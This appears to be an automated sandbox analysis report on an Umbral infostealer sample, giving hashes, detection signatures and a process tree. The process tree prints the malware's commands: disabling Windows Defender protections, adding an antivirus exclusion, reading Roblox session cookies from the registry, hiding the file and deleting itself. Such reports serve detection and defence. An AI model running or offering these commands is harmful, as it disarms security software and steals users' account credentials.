Analysis
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max time kernel
12s -
max time network
13s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 17:31
Behavioral task
behavioral1
Sample
release5102024.exe
Resource
win7-20240419-en
General
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Target
release5102024.exe
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Size
234KB
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MD5
0e686473973693d296760e2c8ea19dd8
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SHA1
80bf5c75bebb592eb88322c3a4dda1f056b33b69
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SHA256
330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7
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SHA512
c06039e42a95c8ca0ec7fc8bfa5ac002208ffe69d49f7379ab272772496a1c08e165b7220748df52233ef7187c2204ecf2eecaa9a7aceeabd3b29bc32fe84e0f
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SSDEEP
6144:XloZM+rIkd8g+EtXHkv/iD43WZwEbhS6FvAxDeebyAb8e1m9ii4:1oZtL+EP83WZwEbhS6FvAxDeeb7m
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2488-1-0x000001C9DBD90000-0x000001C9DBDD0000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
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Drops file in Drivers directory 1 IoCs
Processes:
release5102024.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts release5102024.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
release5102024.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2488 release5102024.exe 3044 powershell.exe 3044 powershell.exe 3996 powershell.exe 3996 powershell.exe 4024 powershell.exe 4024 powershell.exe 2776 powershell.exe 2776 powershell.exe 3708 powershell.exe 3708 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
release5102024.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2488 release5102024.exe Token: SeIncreaseQuotaPrivilege 3152 wmic.exe Token: SeSecurityPrivilege 3152 wmic.exe Token: SeTakeOwnershipPrivilege 3152 wmic.exe Token: SeLoadDriverPrivilege 3152 wmic.exe Token: SeSystemProfilePrivilege 3152 wmic.exe Token: SeSystemtimePrivilege 3152 wmic.exe Token: SeProfSingleProcessPrivilege 3152 wmic.exe Token: SeIncBasePriorityPrivilege 3152 wmic.exe Token: SeCreatePagefilePrivilege 3152 wmic.exe Token: SeBackupPrivilege 3152 wmic.exe Token: SeRestorePrivilege 3152 wmic.exe Token: SeShutdownPrivilege 3152 wmic.exe Token: SeDebugPrivilege 3152 wmic.exe Token: SeSystemEnvironmentPrivilege 3152 wmic.exe Token: SeRemoteShutdownPrivilege 3152 wmic.exe Token: SeUndockPrivilege 3152 wmic.exe Token: SeManageVolumePrivilege 3152 wmic.exe Token: 33 3152 wmic.exe Token: 34 3152 wmic.exe Token: 35 3152 wmic.exe Token: 36 3152 wmic.exe Token: SeIncreaseQuotaPrivilege 3152 wmic.exe Token: SeSecurityPrivilege 3152 wmic.exe Token: SeTakeOwnershipPrivilege 3152 wmic.exe Token: SeLoadDriverPrivilege 3152 wmic.exe Token: SeSystemProfilePrivilege 3152 wmic.exe Token: SeSystemtimePrivilege 3152 wmic.exe Token: SeProfSingleProcessPrivilege 3152 wmic.exe Token: SeIncBasePriorityPrivilege 3152 wmic.exe Token: SeCreatePagefilePrivilege 3152 wmic.exe Token: SeBackupPrivilege 3152 wmic.exe Token: SeRestorePrivilege 3152 wmic.exe Token: SeShutdownPrivilege 3152 wmic.exe Token: SeDebugPrivilege 3152 wmic.exe Token: SeSystemEnvironmentPrivilege 3152 wmic.exe Token: SeRemoteShutdownPrivilege 3152 wmic.exe Token: SeUndockPrivilege 3152 wmic.exe Token: SeManageVolumePrivilege 3152 wmic.exe Token: 33 3152 wmic.exe Token: 34 3152 wmic.exe Token: 35 3152 wmic.exe Token: 36 3152 wmic.exe Token: SeDebugPrivilege 3044 powershell.exe Token: SeDebugPrivilege 3996 powershell.exe Token: SeDebugPrivilege 4024 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeIncreaseQuotaPrivilege 2268 wmic.exe Token: SeSecurityPrivilege 2268 wmic.exe Token: SeTakeOwnershipPrivilege 2268 wmic.exe Token: SeLoadDriverPrivilege 2268 wmic.exe Token: SeSystemProfilePrivilege 2268 wmic.exe Token: SeSystemtimePrivilege 2268 wmic.exe Token: SeProfSingleProcessPrivilege 2268 wmic.exe Token: SeIncBasePriorityPrivilege 2268 wmic.exe Token: SeCreatePagefilePrivilege 2268 wmic.exe Token: SeBackupPrivilege 2268 wmic.exe Token: SeRestorePrivilege 2268 wmic.exe Token: SeShutdownPrivilege 2268 wmic.exe Token: SeDebugPrivilege 2268 wmic.exe Token: SeSystemEnvironmentPrivilege 2268 wmic.exe Token: SeRemoteShutdownPrivilege 2268 wmic.exe Token: SeUndockPrivilege 2268 wmic.exe Token: SeManageVolumePrivilege 2268 wmic.exe -
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
release5102024.execmd.exedescription pid process target process PID 2488 wrote to memory of 3152 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 3152 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 3512 2488 release5102024.exe attrib.exe PID 2488 wrote to memory of 3512 2488 release5102024.exe attrib.exe PID 2488 wrote to memory of 3044 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 3044 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 3996 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 3996 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 4024 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 4024 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 2776 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 2776 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 2268 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 2268 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 2696 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 2696 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 3204 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 3204 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 3708 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 3708 2488 release5102024.exe powershell.exe PID 2488 wrote to memory of 820 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 820 2488 release5102024.exe wmic.exe PID 2488 wrote to memory of 4216 2488 release5102024.exe cmd.exe PID 2488 wrote to memory of 4216 2488 release5102024.exe cmd.exe PID 4216 wrote to memory of 3016 4216 cmd.exe PING.EXE PID 4216 wrote to memory of 3016 4216 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\release5102024.exe"C:\Users\Admin\AppData\Local\Temp\release5102024.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\release5102024.exe"2⤵
- Views/modifies file attributes
PID:3512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release5102024.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2696
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:3204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3708 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:820 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\release5102024.exe" && pause2⤵
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:3016
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
948B
MD574a6b79d36b4aae8b027a218bc6e1af7
SHA10350e46c1df6934903c4820a00b0bc4721779e5f
SHA25660c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04
SHA51260e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5548dd08570d121a65e82abb7171cae1c
SHA11a1b5084b3a78f3acd0d811cc79dbcac121217ab
SHA256cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
SHA51237b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5ec79fae4e7c09310ebf4f2d85a33a638
SHA1f2bdd995b12e65e7ed437d228f22223b59e76efb
SHA256e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a
SHA512af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4lmeerj.vnj.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2488-71-0x000001C9F6230000-0x000001C9F623A000-memory.dmpFilesize
40KB
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memory/2488-35-0x000001C9F61F0000-0x000001C9F620E000-memory.dmpFilesize
120KB
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memory/2488-90-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB
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memory/2488-72-0x000001C9F6260000-0x000001C9F6272000-memory.dmpFilesize
72KB
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memory/2488-2-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB
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memory/2488-33-0x000001C9F64E0000-0x000001C9F6556000-memory.dmpFilesize
472KB
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memory/2488-34-0x000001C9F6560000-0x000001C9F65B0000-memory.dmpFilesize
320KB
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memory/2488-0-0x00007FFE770A3000-0x00007FFE770A5000-memory.dmpFilesize
8KB
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memory/2488-1-0x000001C9DBD90000-0x000001C9DBDD0000-memory.dmpFilesize
256KB
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memory/3044-15-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB
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memory/3044-5-0x0000014966080000-0x00000149660A2000-memory.dmpFilesize
136KB
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memory/3044-14-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB
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memory/3044-13-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB
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memory/3044-18-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmpFilesize
10.8MB